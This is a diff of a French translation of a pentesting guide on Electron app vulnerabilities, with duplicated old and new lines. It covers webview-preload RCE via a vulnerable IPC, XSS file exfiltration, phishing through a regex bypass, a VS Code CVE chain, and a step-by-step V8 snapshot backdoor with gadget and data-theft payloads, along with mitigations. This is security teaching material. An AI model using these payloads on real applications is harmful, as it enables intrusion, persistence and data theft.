## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Cette vulnérabilité se trouve dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Cette vulnérabilité est décrite dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
Le **webviewTag** est une **fonctionnalité obsolète** qui permet l'utilisation de **NodeJS** dans le **processus de rendu**, elle devrait être désactivée car elle permet de charger un script dans le contexte preload comme :
|
||||
La **webviewTag** est une **fonctionnalité dépréciée** qui permet l'utilisation de **NodeJS** dans le **renderer process**, elle devrait être désactivée car elle permet de charger un script dans le preload context comme :
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Par conséquent, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**.
|
||||
Ainsi, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**.
|
||||
|
||||
Ce preload script a ensuite été détourné pour appeler un **service IPC vulnérable (`skype-new-window`)** qui appelait **`shell.openExternal`** afin d'obtenir RCE :
|
||||
Ce preload script a ensuite été exploité pour appeler un **service IPC vulnérable (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir RCE :
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -248,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## Lecture des fichiers internes : XSS + contextIsolation
|
||||
## Lecture de fichiers internes : XSS + contextIsolation
|
||||
|
||||
**Désactiver `contextIsolation` permet l'utilisation des balises `<webview>`**, similaires à `<iframe>`, pour lire et exfiltrating des fichiers locaux. Un exemple fourni montre comment exploiter cette vulnérabilité pour lire le contenu des fichiers internes :
|
||||
**Désactiver `contextIsolation` permet l'utilisation de balises `<webview>`**, similaires à `<iframe>`, pour lire et exfiltrating des fichiers locaux. Un exemple montre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
|
||||
|
||||
.png>)
|
||||
|
||||
De plus, une autre méthode pour **lire un fichier interne** est présentée, mettant en évidence une vulnérabilité critique de lecture de fichier local dans une Electron desktop app. Cela implique d'injecter un script pour exploiter l'application et exfiltrate des données :
|
||||
De plus, une autre méthode pour **lire un fichier interne** est présentée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une Electron desktop app. Cela implique l'injection d'un script pour exploiter l'application et exfiltrate data :
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -270,23 +271,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
## **RCE: XSS + Chromium ancien**
|
||||
|
||||
Si le **chromium** utilisé par l'application est **ancien** et qu'il existe des **vulnérabilités** **connues** le concernant, il peut être possible de **l'exploiter et d'obtenir une RCE via un XSS**.\
|
||||
Si le **chromium** utilisé par l'application est **ancien** et qu'il existe des **known vulnerabilities** dessus, il pourrait être possible de **exploit it and obtain RCE through a XSS**.\
|
||||
Vous pouvez voir un exemple dans ce **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Si vous avez trouvé une XSS mais que vous **ne pouvez pas déclencher une RCE ni voler des fichiers internes**, vous pouvez essayer de l'utiliser pour **voler des identifiants via phishing**.
|
||||
Supposons que vous ayez trouvé un XSS mais que vous **cannot trigger RCE or steal internal files** — vous pourriez essayer de l'utiliser pour **steal credentials via phishing**.
|
||||
|
||||
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS du front-end:
|
||||
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS côté front-end :
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
L'appel à **`openInternally`** déterminera si le **link** sera **opened** dans la **desktop window**, car il s'agit d'un link appartenant à la plateforme, **or** s'il sera ouvert dans le **browser as a 3rd party resource**.
|
||||
L'appel à **`openInternally`** décidera si le **link** sera **ouvert** dans la **desktop window** puisqu'il s'agit d'un link appartenant à la plateforme, **ou** s'il sera ouvert dans le **browser** en tant que ressource tierce.
|
||||
|
||||
Dans le cas où le **regex** utilisé par la fonction est **vulnerable to bypasses** (par exemple en **not escaping the dots of subdomains**), un attaquant pourrait abuser de la XSS pour **open a new window which** qui sera située dans l'infrastructure de l'attaquant et **asking for credentials** à l'utilisateur :
|
||||
Dans le cas où le **regex** utilisé par la fonction est **vulnerable to bypasses** (par exemple en ne réalisant pas l'échappement des points des subdomains) un attacker pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attacker **demandant des credentials** à l'utilisateur:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -294,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` Protocole
|
||||
|
||||
Comme indiqué dans [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), les pages exécutées sur **`file://`** ont un accès unilatéral à tous les fichiers de votre machine, ce qui signifie que des **XSS issues peuvent être utilisées pour charger des fichiers arbitraires** depuis la machine de l'utilisateur. L'utilisation d'un **protocole personnalisé** prévient ce type de problèmes en vous permettant de limiter le protocole à la fourniture d'un ensemble spécifique de fichiers.
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** ont un accès unilatéral à tous les fichiers de votre machine, ce qui signifie que **XSS issues can be used to load arbitrary files** depuis la machine de l'utilisateur. L'utilisation d'un **protocole personnalisé** empêche ce type de problème car vous pouvez limiter le protocole à ne servir qu'un ensemble spécifique de fichiers.
|
||||
|
||||
## Remote module
|
||||
|
||||
Le Remote module d'Electron permet aux **processus de rendu d'accéder aux API du processus principal**, facilitant la communication au sein d'une application Electron. Cependant, l'activation de ce module introduit des risques de sécurité importants. Il élargit la surface d'attaque de l'application, la rendant plus susceptible à des vulnérabilités telles que les cross-site scripting (XSS) attacks.
|
||||
The Electron Remote module permet aux **renderer processes to access main process APIs**, facilitant la communication au sein d'une application Electron. Cependant, activer ce module introduit des risques de sécurité importants. Il augmente la surface d'attaque de l'application, la rendant plus susceptible à des vulnérabilités telles que cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Bien que le module **remote** expose certaines API du main vers les renderer processes, il n'est pas trivial d'obtenir une RCE uniquement en abusant des composants. Cependant, ces composants peuvent exposer des informations sensibles.
|
||||
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
|
||||
|
||||
> [!WARNING]
|
||||
> De nombreuses applications qui utilisent encore le module remote le font d'une manière qui **requiert que NodeIntegration soit activé** dans le renderer process, ce qui constitue un **énorme risque de sécurité**.
|
||||
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
|
||||
|
||||
Depuis Electron 14, le module `remote` d'Electron peut être activé de plusieurs manières ; pour des raisons de sécurité et de performance, il est **recommandé de ne pas l'utiliser**.
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||
|
||||
Pour l'activer, il faut d'abord **l'activer dans le main process** :
|
||||
To enable it, it'd first needed to **enable it in the main process**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -319,28 +320,28 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Ensuite, le processus de rendu peut importer des objets depuis le module comme ceci :
|
||||
Ensuite, le processus renderer peut importer des objets depuis le module comme ceci :
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
Le **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indique quelques **fonctions** intéressantes exposées par l'objet **`app`** du module remote:
|
||||
Le **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indique quelques **fonctions** intéressantes exposées par l'objet **`app`** du module remote :
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Redémarre** l'application en **quittant** l'instance courante et en **lançant** une nouvelle. Utile pour les **mises à jour de l'application** ou des **changements d'état** importants.
|
||||
- **Redémarre** l'application en **quittant** l'instance actuelle et en **lançant** une nouvelle. Utile pour les **mises à jour de l'application** ou des **changements d'état** importants.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Définit** ou **crée** un répertoire pour stocker les **app logs**. Les logs peuvent être **récupérés** ou **modifiés** en utilisant **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
|
||||
- **Définit** ou **crée** un répertoire pour stocker les **logs de l'application**. Les logs peuvent être **récupérés** ou **modifiés** en utilisant **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Enregistre** l'exécutable courant comme le **gestionnaire par défaut** pour un **protocole** spécifié. Vous pouvez fournir un **chemin personnalisé** et des **arguments** si besoin.
|
||||
- **Enregistre** l'exécutable courant comme le **gestionnaire par défaut** pour un **protocole** spécifié. Vous pouvez fournir un **chemin personnalisé** et des **arguments** si nécessaire.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Ajoute** des tâches à la **catégorie Tasks** dans la **Jump List** (sur Windows). Chaque tâche peut contrôler comment l'app est **lancée** ou quels **arguments** sont passés.
|
||||
- **Ajoute** des tâches à la **catégorie Tasks** dans la **Jump List** (sous Windows). Chaque tâche peut contrôler la façon dont l'app est **lancée** ou quels **arguments** sont passés.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Importe** un **certificat PKCS#12** dans le **magasin de certificats** du système (Linux uniquement). Un **callback** peut être utilisé pour traiter le résultat.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Déplace** l'application vers le **dossier Applications** (sur macOS). Aide à garantir une **installation standard** pour les utilisateurs Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Définit** ou **supprime** une **Jump List personnalisée** sur **Windows**. Vous pouvez préciser des **catégories** pour organiser la manière dont les tâches apparaissent à l'utilisateur.
|
||||
- **Définit** ou **supprime** une **Jump List personnalisée** sur **Windows**. Vous pouvez préciser des **catégories** pour organiser l'affichage des tâches à l'utilisateur.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Configure** quels **exécutables** se lancent à la **connexion** ainsi que leurs **options** (uniquement macOS et Windows).
|
||||
- **Configure** quels **exécutables** se lancent au **login**, ainsi que leurs **options** (macOS et Windows uniquement).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
@ -351,7 +352,7 @@ Native.app.exit()
|
||||
|
||||
L'**API principale** pour accéder aux préférences système et **émettre des événements système** dans Electron. Des méthodes comme **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, et **setUserDefault** font toutes **partie de** ce module.
|
||||
|
||||
**Exemple d'utilisation :**
|
||||
**Exemple d'utilisation:**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
@ -368,27 +369,27 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
* **Écoute** les **notifications macOS natives** en utilisant NSDistributedNotificationCenter.
|
||||
* Avant **macOS Catalina**, vous pouviez sniff **toutes** les notifications distribuées en passant **nil** à CFNotificationCenterAddObserver.
|
||||
* Après **Catalina / Big Sur**, les apps sandboxées peuvent encore **s'abonner** à de **nombreux événements** (par exemple, **verrouillages/déverrouillages d'écran**, **montages de volumes**, **activité réseau**, etc.) en enregistrant des notifications **par nom**.
|
||||
* Après **Catalina / Big Sur**, les sandboxed apps peuvent encore **s'abonner** à **beaucoup d'événements** (par exemple, **verrouillage/déverrouillage d'écran**, **montages de volumes**, **activité réseau**, etc.) en enregistrant les notifications **par nom**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interagit** avec **NSUserDefaults**, qui stocke les préférences **application** ou **globales** sur macOS.
|
||||
|
||||
* **getUserDefault** peut **récupérer** des informations sensibles, telles que les **emplacements de fichiers récents** ou la **localisation géographique de l'utilisateur**.
|
||||
* **getUserDefault** peut **récupérer** des informations sensibles, comme **emplacements récents de fichiers** ou la **localisation géographique de l'utilisateur**.
|
||||
|
||||
* **setUserDefault** peut **modifier** ces préférences, affectant potentiellement la **configuration** d'une application.
|
||||
* **setUserDefault** peut **modifier** ces préférences, affectant potentiellement la **configuration** d'une app.
|
||||
|
||||
* Dans les **anciennes versions d'Electron** (avant v8.3.0), seule la **suite standard** de NSUserDefaults était **accessible**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Cette fonction affiche le fichier donné dans un gestionnaire de fichiers, ce qui **pourrait exécuter automatiquement le fichier**.
|
||||
Cette fonction montre le fichier donné dans un gestionnaire de fichiers, qui **pourrait exécuter automatiquement le fichier**.
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Les applications Electron devraient avoir une **Content Security Policy (CSP)** pour **empêcher les attaques XSS**. La **CSP** est une **norme de sécurité** qui aide à **empêcher** l'**exécution** de **code non approuvé** dans le navigateur.
|
||||
Les apps Electron devraient avoir une **Content Security Policy (CSP)** pour **prévenir les attaques XSS**. La **CSP** est un **standard de sécurité** qui aide à **empêcher** l'**exécution** de **code non fiable** dans le navigateur.
|
||||
|
||||
Elle est généralement **configurée** dans le fichier **`main.js`** ou dans le template **`index.html`** avec la CSP à l'intérieur d'une **meta tag**.
|
||||
|
||||
@ -402,14 +403,14 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
Cette chaîne réelle a affecté Visual Studio Code 1.63 (CVE-2021-43908) et démontre comment un seul XSS piloté par du markdown dans un webview peut être escaladé en RCE complet lorsque la CSP, postMessage et les handlers de scheme sont mal configurés. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
Cette chaîne réelle a affecté Visual Studio Code 1.63 (CVE-2021-43908) et démontre comment un unique XSS piloté par Markdown dans un webview peut être escaladé en RCE complète lorsque CSP, postMessage et les scheme handlers sont mal configurés. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
Attack chain overview
|
||||
Aperçu de la chaîne d'attaque
|
||||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
|
||||
- Constructing target webview URL: En utilisant le leaked ID pour construire `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Second XSS via postMessage trust: Le webview externe faisait confiance à `window.postMessage` sans vérifications strictes d'origin/type et chargeait du HTML attaquant avec `allowScripts: true`.
|
||||
- Local file loading via scheme/path rewriting: Le payload réécrivait `file:///...` en `vscode-file://vscode-app/...` et remplaçait `exploit.md` par `RCE.html`, abusant d'une validation de chemin faible pour charger une ressource locale privilégiée.
|
||||
- RCE in Node-enabled context: Le HTML chargé s'exécutait avec les API Node disponibles, permettant l'exécution de commandes OS.
|
||||
- Construction de l'URL du webview cible : en utilisant l'ID leaked pour construire `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
|
||||
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
|
||||
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
|
||||
|
||||
Example RCE primitive in the final context
|
||||
```js
|
||||
@ -417,7 +418,7 @@ Example RCE primitive in the final context
|
||||
require('child_process').exec('calc.exe'); // Windows
|
||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
```
|
||||
Lectures complémentaires sur les problèmes de confiance liés à postMessage :
|
||||
Lecture complémentaire sur les problèmes de confiance liés à postMessage :
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||
@ -425,16 +426,16 @@ Lectures complémentaires sur les problèmes de confiance liés à postMessage :
|
||||
|
||||
## **Outils**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil pour identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est une extension open source pour VS Code destinée aux applications Electron qui utilise Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil permettant d'identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est une extension open source pour VS Code dédiée aux applications Electron qui utilise Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour détecter les bibliothèques tierces vulnérables
|
||||
- [**Electro.ng**](https://electro.ng/): Vous devez l'acheter
|
||||
|
||||
## Laboratoires
|
||||
|
||||
Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) vous pouvez trouver un lab montrant comment exploiter des applications Electron vulnérables.
|
||||
Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) vous trouverez un lab pour exploiter des applications Electron vulnérables.
|
||||
|
||||
Quelques commandes qui vous aideront pour le lab:
|
||||
Quelques commandes qui vous aideront avec le lab :
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -457,18 +458,18 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
## Porte dérobée locale via la falsification de V8 heap snapshot (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Les applications basées sur Electron et Chromium désérialisent un V8 heap snapshot préconstruit au démarrage (v8_context_snapshot.bin, et éventuellement browser_v8_context_snapshot.bin) pour initialiser chaque V8 isolate (main, preload, renderer). Historiquement, les mécanismes d'intégrité d'Electron ne considéraient pas ces snapshots comme du contenu exécutable, ils échappaient donc à la fois à l'application des vérifications d'intégrité basées sur les fuses et aux contrôles de signature de code du système d'exploitation. En conséquence, remplacer le snapshot dans une installation modifiable par l'utilisateur permettait une exécution de code furtive et persistante au sein de l'app sans modifier les binaires signés ni l'ASAR.
|
||||
Electron et les applications basées sur Chromium désérialisent un V8 heap snapshot préconstruit au démarrage (v8_context_snapshot.bin, et optionnellement browser_v8_context_snapshot.bin) pour initialiser chaque V8 isolate (main, preload, renderer). Historiquement, les fuses d'intégrité d'Electron ne traitaient pas ces snapshots comme du contenu exécutable, ils échappaient donc à la fois à l'application des fuses d'intégrité et aux vérifications de code-signing du système d'exploitation. En conséquence, remplacer le snapshot dans une installation modifiable par l'utilisateur permettait une exécution de code furtive et persistante à l'intérieur de l'app sans modifier les binaires signés ni l'ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
|
||||
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
|
||||
Points clés
|
||||
- Faille d'intégrité : EnableEmbeddedAsarIntegrityValidation et OnlyLoadAppFromAsar valident le JavaScript de l'app à l'intérieur de l'ASAR, mais ne couvraient pas les V8 heap snapshots (CVE-2025-55305). De même, Chromium ne vérifie pas l'intégrité des snapshots.
|
||||
- Préconditions de l'attaque : écriture locale de fichiers dans le répertoire d'installation de l'application. Ceci est courant sur les systèmes où les apps Electron ou navigateurs Chromium sont installés dans des chemins modifiables par l'utilisateur (ex. %AppData%\Local sous Windows ; /Applications avec des réserves sur macOS).
|
||||
- Effet : exécution fiable de JavaScript contrôlé par l'attaquant dans n'importe quel isolate en écrasant un builtin fréquemment utilisé (un « gadget »), permettant persistance et contournement de la vérification de code-signing.
|
||||
- Surface affectée : applications Electron (même avec les fuses activés) et navigateurs basés sur Chromium qui chargent des snapshots depuis des emplacements modifiables par l'utilisateur.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
Générer un snapshot malveillant sans builder Chromium
|
||||
- Utilisez le prebuilt electron/mksnapshot pour compiler un payload JS en snapshot et écraser le v8_context_snapshot.bin de l'application.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
@ -484,11 +485,11 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Routage de payload conscient des isolates (exécuter du code différent dans main vs. renderer)
|
||||
- Détection du processus principal : des Node-only globals comme process.pid, process.binding(), ou process.dlopen sont présents dans l'isolate du processus principal.
|
||||
- Détection Browser/renderer : des Browser-only globals comme alert sont disponibles lorsqu'on s'exécute dans un contexte de document.
|
||||
Isolate-aware payload routing (exécuter du code différent dans main vs. renderer)
|
||||
- Détection du main process : les Node-only globals comme process.pid, process.binding(), ou process.dlopen sont présents dans l'isolate du main process.
|
||||
- Détection Browser/renderer : les Browser-only globals comme alert sont disponibles lorsqu'on s'exécute dans un contexte de document.
|
||||
|
||||
Exemple de gadget qui sonde une fois les capacités Node du processus principal
|
||||
Exemple de gadget qui sonde une fois les capacités Node du main process
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -517,7 +518,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context PoC de vol de données (p.ex., Slack)
|
||||
PoC de vol de données depuis le renderer/contexte du navigateur (p. ex., Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -542,30 +543,26 @@ return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Flux de travail de l'opérateur
|
||||
1) Écrire payload.js qui remplace un builtin courant (par ex., Array.isArray) et effectue éventuellement des branches par isolate.
|
||||
2) Construire le snapshot sans les sources Chromium:
|
||||
1) Écrire payload.js qui écrase une fonction native courante (par ex., Array.isArray) et, optionnellement, effectue des branches par isolate.
|
||||
2) Construire le snapshot sans les sources de Chromium :
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Écraser le(s) fichier(s) snapshot de l'application cible :
|
||||
- v8_context_snapshot.bin (always used)
|
||||
3) Remplacer le(s) fichier(s) snapshot de l'application cible :
|
||||
- v8_context_snapshot.bin (toujours utilisé)
|
||||
- browser_v8_context_snapshot.bin (si le fuse LoadBrowserProcessSpecificV8Snapshot est utilisé)
|
||||
4) Lancer l'application ; le gadget s'exécute chaque fois que le builtin choisi est utilisé.
|
||||
4) Lancer l'application ; le gadget s’exécute chaque fois que la fonction native choisie est utilisée.
|
||||
|
||||
Notes et considérations
|
||||
- Contournement d'intégrité/signature : les fichiers snapshot ne sont pas considérés comme des exécutables natifs par les vérifications de code-signing et (historiquement) n'étaient pas couverts par les fuses d'Electron ni par les contrôles d'intégrité de Chromium.
|
||||
- Contournement d'intégrité/signature : les fichiers snapshot ne sont pas considérés comme des exécutables natifs par les vérifications de signature de code et (historiquement) n'étaient pas couverts par Electron’s fuses ni par les contrôles d'intégrité de Chromium.
|
||||
- Persistance : remplacer le snapshot dans une installation modifiable par l'utilisateur survit généralement aux redémarrages de l'application et ressemble à une application signée et légitime.
|
||||
- Navigateurs Chromium : le même concept de manipulation s'applique à Chrome/derivatives installés dans des emplacements modifiables par l'utilisateur. Chrome dispose d'autres mesures d'intégrité mais exclut explicitement les attaques physiquement locales de son modèle de menace.
|
||||
- Navigateurs Chromium : le même concept de falsification s'applique à Chrome/derivés installés dans des emplacements modifiables par l'utilisateur. Chrome dispose d'autres mesures d'intégrité mais exclut explicitement les attaques physiques locales de son modèle de menace.
|
||||
|
||||
Détection et atténuations
|
||||
- Traiter les snapshots comme du contenu exécutable et les inclure dans l'application des contrôles d'intégrité (CVE-2025-55305 fix).
|
||||
- Préférer des emplacements d'installation modifiables uniquement par les admins ; établir une baseline et surveiller les hashes pour v8_context_snapshot.bin et browser_v8_context_snapshot.bin.
|
||||
- Détecter le remplacement de builtin en early-runtime et les modifications inattendues de snapshot ; alerter lorsque les snapshots désérialisés ne correspondent pas aux valeurs attendues.
|
||||
Détection et mesures d'atténuation
|
||||
- Traiter les snapshots comme du contenu exécutable et les inclure dans l'application des contrôles d'intégrité (fix CVE-2025-55305).
|
||||
- Préférer des emplacements d'installation accessibles en écriture uniquement par l'administrateur ; établir une ligne de base et surveiller les hachages pour v8_context_snapshot.bin et browser_v8_context_snapshot.bin.
|
||||
- Détecter l'écrasement de fonctions natives en début d'exécution et les modifications inattendues de snapshots ; alerter lorsque les snapshots désérialisés ne correspondent pas aux valeurs attendues.
|
||||
|
||||
## **Références**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
@ -580,7 +577,7 @@ Détection et atténuations
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- Plus de recherches et articles sur la sécurité d'Electron dans [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user